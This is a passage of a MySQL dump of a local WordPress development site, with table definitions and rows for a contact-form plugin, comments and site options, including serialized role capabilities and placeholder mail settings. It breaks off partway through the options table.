/*
SQLyog Community v11.5 (32 bit)
MySQL - 5.6.17 : Database - wordpress
*********************************************************************
*/

/*!40101 SET NAMES utf8 */;

/*!40101 SET SQL_MODE=''*/;

/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
/*Table structure for table `wp_cftemail_forms` */

CREATE TABLE `wp_cftemail_forms` (
  `id` mediumint(9) NOT NULL AUTO_INCREMENT,
  `form_name` varchar(250) NOT NULL DEFAULT '',
  `form_structure` text,
  `fp_from_email` varchar(250) NOT NULL DEFAULT '',
  `fp_destination_emails` text,
  `fp_subject` varchar(250) NOT NULL DEFAULT '',
  `fp_inc_additional_info` varchar(10) NOT NULL DEFAULT '',
  `fp_return_page` varchar(250) NOT NULL DEFAULT '',
  `fp_message` text,
  `fp_emailformat` varchar(10) NOT NULL DEFAULT '',
  `cu_enable_copy_to_user` varchar(10) NOT NULL DEFAULT '',
  `cu_user_email_field` varchar(250) NOT NULL DEFAULT '',
  `cu_subject` varchar(250) NOT NULL DEFAULT '',
  `cu_message` text,
  `cu_emailformat` varchar(10) NOT NULL DEFAULT '',
  `vs_use_validation` varchar(10) NOT NULL DEFAULT '',
  `vs_text_is_required` varchar(250) NOT NULL DEFAULT '',
  `vs_text_is_email` varchar(250) NOT NULL DEFAULT '',
  `vs_text_datemmddyyyy` varchar(250) NOT NULL DEFAULT '',
  `vs_text_dateddmmyyyy` varchar(250) NOT NULL DEFAULT '',
  `vs_text_number` varchar(250) NOT NULL DEFAULT '',
  `vs_text_digits` varchar(250) NOT NULL DEFAULT '',
  `vs_text_max` varchar(250) NOT NULL DEFAULT '',
  `vs_text_min` varchar(250) NOT NULL DEFAULT '',
  `cv_enable_captcha` varchar(20) NOT NULL DEFAULT '',
  `cv_width` varchar(20) NOT NULL DEFAULT '',
  `cv_height` varchar(20) NOT NULL DEFAULT '',
  `cv_chars` varchar(20) NOT NULL DEFAULT '',
  `cv_font` varchar(20) NOT NULL DEFAULT '',
  `cv_min_font_size` varchar(20) NOT NULL DEFAULT '',
  `cv_max_font_size` varchar(20) NOT NULL DEFAULT '',
  `cv_noise` varchar(20) NOT NULL DEFAULT '',
  `cv_noise_length` varchar(20) NOT NULL DEFAULT '',
  `cv_background` varchar(20) NOT NULL DEFAULT '',
  `cv_border` varchar(20) NOT NULL DEFAULT '',
  `cv_text_enter_valid_captcha` varchar(200) NOT NULL DEFAULT '',
  UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;

/*Data for the table `wp_cftemail_forms` */

insert  into `wp_cftemail_forms`(`id`,`form_name`,`form_structure`,`fp_from_email`,`fp_destination_emails`,`fp_subject`,`fp_inc_additional_info`,`fp_return_page`,`fp_message`,`fp_emailformat`,`cu_enable_copy_to_user`,`cu_user_email_field`,`cu_subject`,`cu_message`,`cu_emailformat`,`vs_use_validation`,`vs_text_is_required`,`vs_text_is_email`,`vs_text_datemmddyyyy`,`vs_text_dateddmmyyyy`,`vs_text_number`,`vs_text_digits`,`vs_text_max`,`vs_text_min`,`cv_enable_captcha`,`cv_width`,`cv_height`,`cv_chars`,`cv_font`,`cv_min_font_size`,`cv_max_font_size`,`cv_noise`,`cv_noise_length`,`cv_background`,`cv_border`,`cv_text_enter_valid_captcha`) values (1,'Form 1','[[{\"name\":\"email\",\"index\":0,\"title\":\"Email\",\"ftype\":\"femail\",\"userhelp\":\"\",\"csslayout\":\"\",\"required\":true,\"predefined\":\"\",\"size\":\"medium\"},{\"name\":\"subject\",\"index\":1,\"title\":\"Subject\",\"required\":true,\"ftype\":\"ftext\",\"userhelp\":\"\",\"csslayout\":\"\",\"predefined\":\"\",\"size\":\"medium\"},{\"name\":\"message\",\"index\":2,\"size\":\"large\",\"required\":true,\"title\":\"Message\",\"ftype\":\"ftextarea\",\"userhelp\":\"\",\"csslayout\":\"\",\"predefined\":\"\"}],[{\"title\":\"Contact Form\",\"description\":\"You can use the following form to contact us.\",\"formlayout\":\"top_aligned\"}]]','nnnagaraju740@gmail.com','nnnagaraju740@gmail.com','Contact from the blog...','true','http://localhost/wordpress','The following contact message has been sent:\n\n<%INFO%>\n\n','text','true','','Confirmation: Message received...','Thank you for your message. We will reply you as soon as possible.\n\nThis is a copy of the data sent:\n\n<%INFO%>\n\nBest Regards.','text','true','This field is required.','Please enter a valid email address.','Please enter a valid date with this format(mm/dd/yyyy)','Please enter a valid date with this format(dd/mm/yyyy)','Please enter a valid number.','Please enter only digits.','Please enter a value less than or equal to {0}.','Please enter a value greater than or equal to {0}.','true','180','60','5','font-1.ttf','25','35','200','4','ffffff','000000','Please enter a valid captcha code.');

/*Table structure for table `wp_cftemail_messages` */

CREATE TABLE `wp_cftemail_messages` (
  `id` mediumint(9) NOT NULL AUTO_INCREMENT,
  `formid` int(11) NOT NULL,
  `time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `ipaddr` varchar(32) NOT NULL DEFAULT '',
  `notifyto` varchar(250) NOT NULL DEFAULT '',
  `data` text,
  `posted_data` text,
  UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;

/*Data for the table `wp_cftemail_messages` */

insert  into `wp_cftemail_messages`(`id`,`formid`,`time`,`ipaddr`,`notifyto`,`data`,`posted_data`) values (1,1,'2013-08-26 13:27:17','127.0.0.1','','Email: nnnagaraju740@gmail.com\n\nSubject: IMPORTANT\n\nMessage: HAI NAGARAJU\n\n','a:3:{s:5:\"email\";s:23:\"nnnagaraju740@gmail.com\";s:7:\"subject\";s:9:\"IMPORTANT\";s:7:\"message\";s:12:\"HAI NAGARAJU\";}'),(2,1,'2013-08-26 13:28:28','127.0.0.1','','Email: nnnagaraju740@gmail.com\n\nSubject: haiu\n\nMessage: hai , h r u?\n\n','a:3:{s:5:\"email\";s:23:\"nnnagaraju740@gmail.com\";s:7:\"subject\";s:4:\"haiu\";s:7:\"message\";s:12:\"hai , h r u?\";}');

/*Table structure for table `wp_cntctfrm_field` */

CREATE TABLE `wp_cntctfrm_field` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` char(100) NOT NULL,
  UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=latin1;

/*Data for the table `wp_cntctfrm_field` */

insert  into `wp_cntctfrm_field`(`id`,`name`) values (1,'name'),(2,'email'),(3,'subject'),(4,'message'),(5,'address'),(6,'phone'),(7,'attachment'),(8,'attachment_explanations'),(9,'send_copy'),(10,'sent_from'),(11,'date_time'),(12,'coming_from'),(13,'user_agent');

/*Table structure for table `wp_commentmeta` */

CREATE TABLE `wp_commentmeta` (
  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `comment_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext,
  PRIMARY KEY (`meta_id`),
  KEY `comment_id` (`comment_id`),
  KEY `meta_key` (`meta_key`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

/*Data for the table `wp_commentmeta` */

/*Table structure for table `wp_comments` */

CREATE TABLE `wp_comments` (
  `comment_ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `comment_post_ID` bigint(20) unsigned NOT NULL DEFAULT '0',
  `comment_author` tinytext NOT NULL,
  `comment_author_email` varchar(100) NOT NULL DEFAULT '',
  `comment_author_url` varchar(200) NOT NULL DEFAULT '',
  `comment_author_IP` varchar(100) NOT NULL DEFAULT '',
  `comment_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `comment_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `comment_content` text NOT NULL,
  `comment_karma` int(11) NOT NULL DEFAULT '0',
  `comment_approved` varchar(20) NOT NULL DEFAULT '1',
  `comment_agent` varchar(255) NOT NULL DEFAULT '',
  `comment_type` varchar(20) NOT NULL DEFAULT '',
  `comment_parent` bigint(20) unsigned NOT NULL DEFAULT '0',
  `user_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`comment_ID`),
  KEY `comment_post_ID` (`comment_post_ID`),
  KEY `comment_approved_date_gmt` (`comment_approved`,`comment_date_gmt`),
  KEY `comment_date_gmt` (`comment_date_gmt`),
  KEY `comment_parent` (`comment_parent`)
) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8;

/*Data for the table `wp_comments` */

insert  into `wp_comments`(`comment_ID`,`comment_post_ID`,`comment_author`,`comment_author_email`,`comment_author_url`,`comment_author_IP`,`comment_date`,`comment_date_gmt`,`comment_content`,`comment_karma`,`comment_approved`,`comment_agent`,`comment_type`,`comment_parent`,`user_id`) values (2,25,'admin','nnnagaraju740@gmail.com','','127.0.0.1','2013-08-26 10:01:24','2013-08-26 10:01:24','hai',0,'1','Mozilla/5.0 (Windows NT 5.1; rv:23.0) Gecko/20100101 Firefox/23.0','',0,1),(6,68,'Nagaraju','nnnagaraju740@gmail.com','http://localhost/yalavarthitechnologies/blog/','127.0.0.1','2013-12-19 07:22:08','2013-12-19 07:22:08','very good',0,'0','Mozilla/5.0 (Windows NT 5.1; rv:25.0) Gecko/20100101 Firefox/25.0','',0,0);

/*Table structure for table `wp_links` */

CREATE TABLE `wp_links` (
  `link_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `link_url` varchar(255) NOT NULL DEFAULT '',
  `link_name` varchar(255) NOT NULL DEFAULT '',
  `link_image` varchar(255) NOT NULL DEFAULT '',
  `link_target` varchar(25) NOT NULL DEFAULT '',
  `link_description` varchar(255) NOT NULL DEFAULT '',
  `link_visible` varchar(20) NOT NULL DEFAULT 'Y',
  `link_owner` bigint(20) unsigned NOT NULL DEFAULT '1',
  `link_rating` int(11) NOT NULL DEFAULT '0',
  `link_updated` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `link_rel` varchar(255) NOT NULL DEFAULT '',
  `link_notes` mediumtext NOT NULL,
  `link_rss` varchar(255) NOT NULL DEFAULT '',
  PRIMARY KEY (`link_id`),
  KEY `link_visible` (`link_visible`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

/*Data for the table `wp_links` */

/*Table structure for table `wp_options` */

CREATE TABLE `wp_options` (
  `option_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `option_name` varchar(64) NOT NULL DEFAULT '',
  `option_value` longtext NOT NULL,
  `autoload` varchar(20) NOT NULL DEFAULT 'yes',
  PRIMARY KEY (`option_id`),
  UNIQUE KEY `option_name` (`option_name`)
) ENGINE=InnoDB AUTO_INCREMENT=648 DEFAULT CHARSET=utf8;

/*Data for the table `wp_options` */

insert  into `wp_options`(`option_id`,`option_name`,`option_value`,`autoload`) values (1,'siteurl','http://localhost/yalavarthitechnologies/blog/','yes'),(2,'blogname','Webdesign','yes'),(3,'blogdescription','Just another WordPress site','yes'),(4,'users_can_register','0','yes'),(5,'admin_email','nnnagaraju740@gmail.com','yes'),(6,'start_of_week','1','yes'),(7,'use_balanceTags','0','yes'),(8,'use_smilies','1','yes'),(9,'require_name_email','1','yes'),(10,'comments_notify','1','yes'),(11,'posts_per_rss','10','yes'),(12,'rss_use_excerpt','1','yes'),(13,'mailserver_url','mail.example.com','yes'),(14,'mailserver_login','login@example.com','yes'),(15,'mailserver_pass','password','yes'),(16,'mailserver_port','110','yes'),(17,'default_category','1','yes'),(18,'default_comment_status','open','yes'),(19,'default_ping_status','open','yes'),(20,'default_pingback_flag','1','yes'),(21,'posts_per_page','5','yes'),(22,'date_format','F j, Y','yes'),(23,'time_format','g:i a','yes'),(24,'links_updated_date_format','F j, Y g:i a','yes'),(25,'links_recently_updated_prepend','<em>','yes'),(26,'links_recently_updated_append','</em>','yes'),(27,'links_recently_updated_time','120','yes'),(28,'comment_moderation','0','yes'),(29,'moderation_notify','1','yes'),(30,'permalink_structure','','yes'),(31,'gzipcompression','0','yes'),(32,'hack_file','0','yes'),(33,'blog_charset','UTF-8','yes'),(34,'moderation_keys','','no'),(35,'active_plugins','a:4:{i:0;s:39:\"contact-form-to-email/form-to-email.php\";i:1;s:48:\"simple-301-redirects/wp-simple-301-redirects.php\";i:2;s:43:\"the-events-calendar/the-events-calendar.php\";i:3;s:41:\"wp-post-navigation/wp-post-navigation.php\";}','yes'),(36,'home','http://localhost/yalavarthitechnologies/blog/','yes'),(37,'category_base','','yes'),(38,'ping_sites','http://rpc.pingomatic.com/','yes'),(39,'advanced_edit','0','yes'),(40,'comment_max_links','2','yes'),(41,'gmt_offset','0','yes'),(42,'default_email_category','1','yes'),(43,'recently_edited','a:2:{i:0;s:82:\"C:\\wamp\\www\\wordpress/wp-content/plugins/easy-contact-forms/easy-contact-forms.php\";i:1;s:0:\"\";}','no'),(44,'template','virtue','yes'),(45,'stylesheet','virtue','yes'),(46,'comment_whitelist','1','yes'),(47,'blacklist_keys','','no'),(48,'comment_registration','0','yes'),(49,'html_type','text/html','yes'),(50,'use_trackback','0','yes'),(51,'default_role','subscriber','yes'),(52,'db_version','24448','yes'),(53,'uploads_use_yearmonth_folders','1','yes'),(54,'upload_path','','yes'),(55,'blog_public','1','yes'),(56,'default_link_category','2','yes'),(57,'show_on_front','page','yes'),(58,'tag_base','','yes'),(59,'show_avatars','1','yes'),(60,'avatar_rating','G','yes'),(61,'upload_url_path','','yes'),(62,'thumbnail_size_w','150','yes'),(63,'thumbnail_size_h','150','yes'),(64,'thumbnail_crop','1','yes'),(65,'medium_size_w','300','yes'),(66,'medium_size_h','300','yes'),(67,'avatar_default','mystery','yes'),(68,'large_size_w','1024','yes'),(69,'large_size_h','1024','yes'),(70,'image_default_link_type','file','yes'),(71,'image_default_size','','yes'),(72,'image_default_align','','yes'),(73,'close_comments_for_old_posts','0','yes'),(74,'close_comments_days_old','14','yes'),(75,'thread_comments','1','yes'),(76,'thread_comments_depth','5','yes'),(77,'page_comments','0','yes'),(78,'comments_per_page','50','yes'),(79,'default_comments_page','newest','yes'),(80,'comment_order','asc','yes'),(81,'sticky_posts','a:0:{}','yes'),(82,'widget_categories','a:2:{i:2;a:4:{s:5:\"title\";s:0:\"\";s:5:\"count\";i:0;s:12:\"hierarchical\";i:0;s:8:\"dropdown\";i:0;}s:12:\"_multiwidget\";i:1;}','yes'),(83,'widget_text','a:0:{}','yes'),(84,'widget_rss','a:0:{}','yes'),(85,'uninstall_plugins','a:1:{s:36:\"contact-form-plugin/contact_form.php\";s:23:\"cntctfrm_delete_options\";}','no'),(86,'timezone_string','','yes'),(87,'page_for_posts','25','yes'),(88,'page_on_front','0','yes'),(89,'default_post_format','0','yes'),(90,'link_manager_enabled','0','yes'),(91,'initial_db_version','24448','yes'),(92,'wp_user_roles','a:5:{s:13:\"administrator\";a:2:{s:4:\"name\";s:13:\"Administrator\";s:12:\"capabilities\";a:101:{s:13:\"switch_themes\";b:1;s:11:\"edit_themes\";b:1;s:16:\"activate_plugins\";b:1;s:12:\"edit_plugins\";b:1;s:10:\"edit_users\";b:1;s:10:\"edit_files\";b:1;s:14:\"manage_options\";b:1;s:17:\"moderate_comments\";b:1;s:17:\"manage_categories\";b:1;s:12:\"manage_links\";b:1;s:12:\"upload_files\";b:1;s:6:\"import\";b:1;s:15:\"unfiltered_html\";b:1;s:10:\"edit_posts\";b:1;s:17:\"edit_others_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:10:\"edit_pages\";b:1;s:4:\"read\";b:1;s:8:\"level_10\";b:1;s:7:\"level_9\";b:1;s:7:\"level_8\";b:1;s:7:\"level_7\";b:1;s:7:\"level_6\";b:1;s:7:\"level_5\";b:1;s:7:\"level_4\";b:1;s:7:\"level_3\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:17:\"edit_others_pages\";b:1;s:20:\"edit_published_pages\";b:1;s:13:\"publish_pages\";b:1;s:12:\"delete_pages\";b:1;s:19:\"delete_others_pages\";b:1;s:22:\"delete_published_pages\";b:1;s:12:\"delete_posts\";b:1;s:19:\"delete_others_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:20:\"delete_private_posts\";b:1;s:18:\"edit_private_posts\";b:1;s:18:\"read_private_posts\";b:1;s:20:\"delete_private_pages\";b:1;s:18:\"edit_private_pages\";b:1;s:18:\"read_private_pages\";b:1;s:12:\"delete_users\";b:1;s:12:\"create_users\";b:1;s:17:\"unfiltered_upload\";b:1;s:14:\"edit_dashboard\";b:1;s:14:\"update_plugins\";b:1;s:14:\"delete_plugins\";b:1;s:15:\"install_plugins\";b:1;s:13:\"update_themes\";b:1;s:14:\"install_themes\";b:1;s:11:\"update_core\";b:1;s:10:\"list_users\";b:1;s:12:\"remove_users\";b:1;s:9:\"add_users\";b:1;s:13:\"promote_users\";b:1;s:18:\"edit_theme_options\";b:1;s:13:\"delete_themes\";b:1;s:6:\"export\";b:1;s:16:\"edit_tribe_event\";b:1;s:16:\"read_tribe_event\";b:1;s:18:\"delete_tribe_event\";b:1;s:19:\"delete_tribe_events\";b:1;s:17:\"edit_tribe_events\";b:1;s:24:\"edit_others_tribe_events\";b:1;s:26:\"delete_others_tribe_events\";b:1;s:20:\"publish_tribe_events\";b:1;s:27:\"edit_published_tribe_events\";b:1;s:29:\"delete_published_tribe_events\";b:1;s:27:\"delete_private_tribe_events\";b:1;s:25:\"edit_private_tribe_events\";b:1;s:25:\"read_private_tribe_events\";b:1;s:16:\"edit_tribe_venue\";b:1;s:16:\"read_tribe_venue\";b:1;s:18:\"delete_tribe_venue\";b:1;s:19:\"delete_tribe_venues\";b:1;s:17:\"edit_tribe_venues\";b:1;s:24:\"edit_others_tribe_venues\";b:1;s:26:\"delete_others_tribe_venues\";b:1;s:20:\"publish_tribe_venues\";b:1;s:27:\"edit_published_tribe_venues\";b:1;s:29:\"delete_published_tribe_venues\";b:1;s:27:\"delete_private_tribe_venues\";b:1;s:25:\"edit_private_tribe_venues\";b:1;s:25:\"read_private_tribe_venues\";b:1;s:20:\"edit_tribe_organizer\";b:1;s:20:\"read_tribe_organizer\";b:1;s:22:\"delete_tribe_organizer\";b:1;s:23:\"delete_tribe_organizers\";b:1;s:21:\"edit_tribe_organizers\";b:1;s:28:\"edit_others_tribe_organizers\";b:1;s:30:\"delete_others_tribe_organizers\";b:1;s:24:\"publish_tribe_organizers\";b:1;s:31:\"edit_published_tribe_organizers\";b:1;s:33:\"delete_published_tribe_organizers\";b:1;s:31:\"delete_private_tribe_organizers\";b:1;s:29:\"edit_private_tribe_organizers\";b:1;s:29:\"read_private_tribe_organizers\";b:1;}}s:6:\"editor\";a:2:{s:4:\"name\";s:6:\"Editor\";s:12:\"capabilities\";a:73:{s:17:\"moderate_comments\";b:1;s:17:\"manage_categories\";b:1;s:12:\"manage_links\";b:1;s:12:\"upload_files\";b:1;s:15:\"unfiltered_html\";b:1;s:10:\"edit_posts\";b:1;s:17:\"edit_others_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:10:\"edit_pages\";b:1;s:4:\"read\";b:1;s:7:\"level_7\";b:1;s:7:\"level_6\";b:1;s:7:\"level_5\";b:1;s:7:\"level_4\";b:1;s:7:\"level_3\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:17:\"edit_others_pages\";b:1;s:20:\"edit_published_pages\";b:1;s:13:\"publish_pages\";b:1;s:12:\"delete_pages\";b:1;s:19:\"delete_others_pages\";b:1;s:22:\"delete_published_pages\";b:1;s:12:\"delete_posts\";b:1;s:19:\"delete_others_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:20:\"delete_private_posts\";b:1;s:18:\"edit_private_posts\";b:1;s:18:\"read_private_posts\";b:1;s:20:\"delete_private_pages\";b:1;s:18:\"edit_private_pages\";b:1;s:18:\"read_private_pages\";b:1;s:16:\"edit_tribe_event\";b:1;s:16:\"read_tribe_event\";b:1;s:18:\"delete_tribe_event\";b:1;s:19:\"delete_tribe_events\";b:1;s:17:\"edit_tribe_events\";b:1;s:24:\"edit_others_tribe_events\";b:1;s:26:\"delete_others_tribe_events\";b:1;s:20:\"publish_tribe_events\";b:1;s:27:\"edit_published_tribe_events\";b:1;s:29:\"delete_published_tribe_events\";b:1;s:27:\"delete_private_tribe_events\";b:1;s:25:\"edit_private_tribe_events\";b:1;s:25:\"read_private_tribe_events\";b:1;s:16:\"edit_tribe_venue\";b:1;s:16:\"read_tribe_venue\";b:1;s:18:\"delete_tribe_venue\";b:1;s:19:\"delete_tribe_venues\";b:1;s:17:\"edit_tribe_venues\";b:1;s:24:\"edit_others_tribe_venues\";b:1;s:26:\"delete_others_tribe_venues\";b:1;s:20:\"publish_tribe_venues\";b:1;s:27:\"edit_published_tribe_venues\";b:1;s:29:\"delete_published_tribe_venues\";b:1;s:27:\"delete_private_tribe_venues\";b:1;s:25:\"edit_private_tribe_venues\";b:1;s:25:\"read_private_tribe_venues\";b:1;s:20:\"edit_tribe_organizer\";b:1;s:20:\"read_tribe_organizer\";b:1;s:22:\"delete_tribe_organizer\";b:1;s:23:\"delete_tribe_organizers\";b:1;s:21:\"edit_tribe_organizers\";b:1;s:28:\"edit_others_tribe_organizers\";b:1;s:30:\"delete_others_tribe_organizers\";b:1;s:24:\"publish_tribe_organizers\";b:1;s:31:\"edit_published_tribe_organizers\";b:1;s:33:\"delete_published_tribe_organizers\";b:1;s:31:\"delete_private_tribe_organizers\";b:1;s:29:\"edit_private_tribe_organizers\";b:1;s:29:\"read_private_tribe_organizers\";b:1;}}s:6:\"author\";a:2:{s:4:\"name\";s:6:\"Author\";s:12:\"capabilities\";a:34:{s:12:\"upload_files\";b:1;s:10:\"edit_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:4:\"read\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:12:\"delete_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:16:\"edit_tribe_event\";b:1;s:16:\"read_tribe_event\";b:1;s:18:\"delete_tribe_event\";b:1;s:19:\"delete_tribe_events\";b:1;s:17:\"edit_tribe_events\";b:1;s:20:\"publish_tribe_events\";b:1;s:27:\"edit_published_tribe_events\";b:1;s:29:\"delete_published_tribe_events\";b:1;s:16:\"edit_tribe_venue\";b:1;s:16:\"read_tribe_venue\";b:1;s:18:\"delete_tribe_venue\";b:1;s:19:\"delete_tribe_venues\";b:1;s:17:\"edit_tribe_venues\";b:1;s:20:\"publish_tribe_venues\";b:1;s:27:\"edit_published_tribe_venues\";b:1;s:29:\"delete_published_tribe_venues\";b:1;s:20:\"edit_tribe_organizer\";b:1;s:20:\"read_tribe_organizer\";b:1;s:22:\"delete_tribe_organizer\";b:1;s:23:\"delete_tribe_organizers\";b:1;s:21:\"edit_tribe_organizers\";b:1;s:24:\"publish_tribe_organizers\";b:1;s:31:\"edit_published_tribe_organizers\";b:1;s:33:\"delete_published_tribe_organizers\";b:1;}}s:11:\"contributor\";a:2:{s:4:\"name\";s:11:\"Contributor\";s:12:\"capabilities\";a:20:{s:10:\"edit_posts\";b:1;s:4:\"read\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:12:\"delete_posts\";b:1;s:16:\"edit_tribe_event\";b:1;s:16:\"read_tribe_event\";b:1;s:18:\"delete_tribe_event\";b:1;s:19:\"delete_tribe_events\";b:1;s:17:\"edit_tribe_events\";b:1;s:16:\"edit_tribe_venue\";b:1;s:16:\"read_tribe_venue\";b:1;s:18:\"delete_tribe_venue\";b:1;s:19:\"delete_tribe_venues\";b:1;s:17:\"edit_tribe_venues\";b:1;s:20:\"edit_tribe_organizer\";b:1;s:20:\"read_tribe_organizer\";b:1;s:22:\"delete_tribe_organizer\";b:1;s:23:\"delete_tribe_organizers\";b:1;s:21:\"edit_tribe_organizers\";b:1;}}s:10:\"subscriber\";a:2:{s:4:\"name\";s:10:\"Subscriber\";s:12:\"capabilities\";a:5:{s:4:\"read\";b:1;s:7:\"level_0\";b:1;s:16:\"read_tribe_event\";b:1;s:20:\"read_tribe_organizer\";b:1;s:16:\"read_tribe_venue\";b:1;}}}','yes'),(93,'widget_search','a:2:{i:2;a:1:{s:5:\"title\";s:0:\"\";}s:12:\"_multiwidget\";i:1;}','yes'),(94,'widget_recent-posts','a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:6:\"number\";i:5;s:9:\"show_date\";b:0;}s:12:\"_multiwidget\";i:1;}','yes'),(95,'widget_recent-comments','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(96,'widget_archives','a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:5:\"count\";i:0;s:8:\"dropdown\";i:0;}s:12:\"_multiwidget\";i:1;}','yes'),(97,'widget_meta','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(98,'sidebars_widgets','a:8:{s:19:\"wp_inactive_widgets\";a:1:{i:0;s:11:\"tag_cloud-2\";}s:15:\"sidebar-primary\";a:5:{i:0;s:8:\"search-2\";i:1;s:10:\"archives-2\";i:2;s:12:\"categories-2\";i:3;s:11:\"tag_cloud-3\";i:4;s:14:\"recent-posts-2\";}s:8:\"sidebar1\";a:0:{}s:8:\"footer_1\";a:0:{}s:8:\"footer_2\";a:0:{}s:8:\"footer_3\";a:0:{}s:8:\"footer_4\";a:0:{}s:13:\"array_version\";i:3;}','yes'),(99,'cron','a:4:{i:1408771913;a:3:{s:16:\"wp_version_check\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}s:17:\"wp_update_plugins\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}s:16:\"wp_update_themes\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}}i:1408771975;a:1:{s:19:\"wp_scheduled_delete\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}i:1408774633;a:1:{s:30:\"wp_scheduled_auto_draft_delete\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}s:7:\"version\";i:2;}','yes'),(101,'_site_transient_update_core','O:8:\"stdClass\":3:{s:7:\"updates\";a:1:{i:0;O:8:\"stdClass\":9:{s:8:\"response\";s:7:\"upgrade\";s:8:\"download\";s:40:\"http://wordpress.org/wordpress-3.9.2.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":4:{s:4:\"full\";s:40:\"http://wordpress.org/wordpress-3.9.2.zip\";s:10:\"no_content\";s:51:\"http://wordpress.org/wordpress-3.9.2-no-content.zip\";s:11:\"new_bundled\";s:52:\"http://wordpress.org/wordpress-3.9.2-new-bundled.zip\";s:7:\"partial\";b:0;}s:7:\"current\";s:5:\"3.9.2\";s:11:\"php_version\";s:5:\"5.2.4\";s:13:\"mysql_version\";s:3:\"5.0\";s:11:\"new_bundled\";s:3:\"3.8\";s:15:\"partial_version\";s:0:\"\";}}s:12:\"last_checked\";i:1408767919;s:15:\"version_checked\";s:3:\"3.6\";}','yes'),(106,'_site_transient_timeout_browser_3358b80354c1c9c4c42a9265a2bc6cb5','1378099926','yes'),(107,'_site_transient_browser_3358b80354c1c9c4c42a9265a2bc6cb5','a:9:{s:8:\"platform\";s:7:\"Windows\";s:4:\"name\";s:7:\"Firefox\";s:7:\"version\";s:4:\"23.0\";s:10:\"update_url\";s:23:\"http://www.firefox.com/\";s:7:\"img_src\";s:50:\"http://s.wordpress.org/images/browsers/firefox.png\";s:11:\"img_src_ssl\";s:49:\"https://wordpress.org/images/browsers/firefox.png\";s:15:\"current_version\";s:2:\"16\";s:7:\"upgrade\";b:0;s:8:\"insecure\";b:0;}','yes'),(108,'dashboard_widget_options','a:4:{s:25:\"dashboard_recent_comments\";a:1:{s:5:\"items\";i:5;}s:24:\"dashboard_incoming_links\";a:5:{s:4:\"home\";s:44:\"http://localhost/yalavarthitechnologies/blog\";s:4:\"link\";s:120:\"http://blogsearch.google.com/blogsearch?scoring=d&partner=wordpress&q=link:http://localhost/yalavarthitechnologies/blog/\";s:3:\"url\";s:135:\"http://blogsearch.google.com/blogsearch_feeds?scoring=d&ie=utf-8&num=10&output=rss&partner=wordpress&q=link:http://localhost/wordpress/\";s:5:\"items\";i:10;s:9:\"show_date\";b:0;}s:17:\"dashboard_primary\";a:7:{s:4:\"link\";s:26:\"http://wordpress.org/news/\";s:3:\"url\";s:31:\"http://wordpress.org/news/feed/\";s:5:\"title\";s:14:\"WordPress 